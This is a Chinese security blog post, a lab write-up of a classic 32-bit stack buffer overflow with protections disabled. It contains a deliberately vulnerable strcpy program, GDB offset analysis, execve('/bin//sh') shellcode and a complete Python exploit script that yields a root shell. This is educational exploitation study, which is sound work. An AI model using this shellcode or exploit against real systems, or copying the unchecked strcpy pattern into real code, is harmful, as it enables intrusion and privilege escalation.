freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

栈溢出学习(一)
2020-10-24 10:21:44

跟随教程https://sploitfun.wordpress.com/2015/

此次实验参考https://sploitfun.wordpress.com/2015/05/08/classic-stack-based-buffer-overflow/

经典栈溢出

这次实验是最简单的栈溢出实验,没有任何防护机制。

实验环境

Ubuntu12.04(一开始用的64位Kali-Linux,踩了不少坑,最后还是用了教程上面的环境Ubuntu12.04)

漏洞代码:

//vuln.c
#include <stdio.h>
#include <string.h>

int main(int argc, char* argv[]) {
/* [1] */ char buf[256];
/* [2] */ strcpy(buf,argv[1]);
/* [3] */ printf("Input:%s\n",buf);
return 0;
}

分析:当我们输出的字符串大于256字节,覆盖到main函数的返回地址,使其指向我们的shellcode,就可以完成攻击

编译命令

$echo 0 > /proc/sys/kernel/randomize_va_space
$gcc -g -fno-stack-protector -z execstack -o vuln vuln.c

第一条指令是为了关闭ASRL保护机制

第二条指令-g 产生debug信息,便于接下来使用dgb调试,-fno-stack-protector关闭canary保护机制,-z execstack关闭NX保护机制,允许在栈上执行代码。

GDB运行程序

gdb -q vuln

运行程序

(gdb) disassemble main
Dump of assembler code for function main: //注意Intel格式
0x08048414 <+0>: push   %ebp
0x08048415 <+1>: mov   %esp,%ebp //这两句不用解释
0x08048417 <+3>: and   $0xfffffff0,%esp //对齐
0x0804841a <+6>: sub   $0x110,%esp //分配栈空间
0x08048420 <+12>: mov   0xc(%ebp),%eax //%eax = argv
0x08048423 <+15>: add   $0x4,%eax //$eax = argv + 4 = &argv[1]
0x08048426 <+18>: mov   (%eax),%eax //%eax = argv[1]
0x08048428 <+20>: mov   %eax,0x4(%esp) //Mem[%esp + 4] = %eax = argv[1]
0x0804842c <+24>: lea   0x10(%esp),%eax //%eax = %esp + 10 这个esp+10就是buf的起始地址
0x08048430 <+28>: mov   %eax,(%esp) //Mem[%esp] = %eax = %esp + 10
0x08048433 <+31>: call   0x8048330 <strcpy@plt> //调用strcpy函数
0x08048438 <+36>: mov   $0x8048530,%eax //0x8048330应该是"Input:%s"的起始地址
0x0804843d <+41>: lea   0x10(%esp),%edx //%edx = %esp + 10等于buf的起始地址
0x08048441 <+45>: mov   %edx,0x4(%esp) //Mem[%esp + 4] = %esp + 10
0x08048445 <+49>: mov   %eax,(%esp) //Mem[%esp] = 0x8048330,其实这里涉及到一个很有意思的东西,linux32位下面的函数调用约定_cdecl,从右向左依次压栈,因此"Input:%s“在栈顶,buf在%esp+4的位置
0x08048448 <+52>: call   0x8048320 <printf@plt> //调用printf函数
0x0804844d <+57>: mov   $0x0,%eax //设置返回值为0,return 0
0x08048452 <+62>: leave //%esp = %ebp, pop %ebp
0x08048453 <+63>: ret   //%eip = [%esp], %esp += 4
End of assembler dump.

image-20201021213011239

shellcode攻击分为以下三步

  • 找到buf起始地址到返回地址的空间大小

    经过上面的反汇编代码,我们可以看到buf起始地址在%esp+10的地方,而%esp = %ebp - 0x110,依次他距离%ebp为0x100字节由于前面有一个%esp对齐操作,造成了esp大小的改变,教程中直接说明这里面esp其实移动了8字节,然后再算上ebp寄存器4字节的大小,所以一共是0x10C个字节(268个字节)

    这里提供一个找自己方便的方式,不需要知道and 0xfffffff0, %esp指令的效果,便可以计算出原来的esp到没有减0x110的esp之间的距离

    (gdb) b *0x08048414             //我们在push %ebp处打断点,这时esp栈顶指针指向返回地址
    Breakpoint 1 at 0x8048414: file basic_stack_overflow.c, line 4.
    (gdb) b *0x0804841a //在sub $0x110, %esp处打断点,这是esp的值为原来的esp-4,然后对齐过后的值,可以想象,这两条指令执行之前esp的差值最后加上0x100就是buf到返回地址的差距  
    Breakpoint 2 at 0x804841a: file basic_stack_overflow.c, line 4.
    (gdb) run
    The program being debugged has been started already.
    Start it from the beginning? (y or n) y

    Starting program: /home/jackson/Program/CTF/Pwn/vuln

    Breakpoint 1, main (argc=2, argv=0xbffff614)
    at basic_stack_overflow.c:4
    4 int main(int argc, char* argv[]) {
    (gdb) p $esp //查看第一个断点esp的值
    $4 = (void *) 0xbffff57c
    (gdb) c
    Continuing.

    Breakpoint 2, 0x0804841a in main (argc=2, argv=0xbffff614)
    at basic_stack_overflow.c:4
    4 int main(int argc, char* argv[]) {
    (gdb) p $esp //查看第二个断点esp的值
    $5 = (void *) 0xbffff570
    (gdb)

    0xbffff570-0xbffff57c = 0xc = 12

    12 + 0x100 = 0x10c = 268

  • 决定覆盖返回地址的新地址,也就是我们shellcode的起始地址

    这个起始地址一般是指向返回地址的esp值+4,需要获取时我们就在ret指令之前打一个断点,然后p指令输出

    (gdb) b *0x08048453         //打断点
    Breakpoint 2 at 0x8048453: file basic_stack_overflow.c, line 9.
    (gdb) run `python -c 'print "A" * 300'`
    The program being debugged has been started already.
    Start it from the beginning? (y or n) y

    Starting program: /home/jackson/Program/CTF/Pwn/vuln `python -c 'print "A" * 300'`
    Input:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

    Breakpoint 2, 0x08048453 in main (argc=1094795585, argv=0x41414141)
    at basic_stack_overflow.c:9
    9 }
    (gdb) p $esp
    $1 = (void *) 0xbffff55c
    (gdb)

    可以看到指向return address的栈指针为0xbffff55c,因此我们设置新的地址的值可以是0xbffff560,实际上gdb调试的地址和真实运行时的地址是不一样的,参见https://www.mathyvanhoef.com/2012/11/common-pitfalls-when-writing-exploits.html

  • shellcode的编写

    本次shellcode实现```execv('/bin//sh')的函数

    0:  31 c0                   xor    eax,eax
    2: 50                     push   eax
    3: 68 2f 2f 73 68         push   0x68732f2f //'//sh'
    8: 68 2f 62 69 6e         push   0x6e69622f //'/bin'
    d: 89 e3                   mov    ebx,esp
    f: 50                     push   eax
    10: 89 e2                   mov    edx,esp
    12: 53                     push   ebx
    13: 89 e1                   mov    ecx,esp
    15: b0 0b                   mov   al,0xb
    17: cd 80                   int   0x80

开始Exploit

#exp.py 
#!/usr/bin/env python
import struct
from subprocess import call

#Stack address where shellcode is copied.
ret_addr = 0xbffff1d0       #记得修改为自己的

#Spawn a shell
#execve(/bin/sh)
scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" #就是我们上面的汇编代码的机器码

#endianess convertion
def conv(num):
return struct.pack("<I",num)

# buf = Junk + RA + NOP's + Shellcode
buf = "A" * 268
buf += conv(ret_addr)
buf += "\x90" * 100
buf += scode

print "Calling vulnerable program"
call(["./vuln", buf])

执行效果如下:

$ python exp.py 
Calling vulnerable program
Input:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��������������������������������������������������������������������������������������������������������1�Ph//shh/bin��P��S���

# id
uid=1000(sploitfun) gid=1000(sploitfun) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun)
# exit
$

image-20201021231917585

本文作者:, 转载请注明来自FreeBuf.COM

# 黑客 # 系统安全
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
评论 按时间排序

登录/注册后在FreeBuf发布内容哦

相关推荐
  • 0 文章数
  • 0 评论数
  • 0 关注者
文章目录
登录 / 注册后在FreeBuf发布内容哦
收入专辑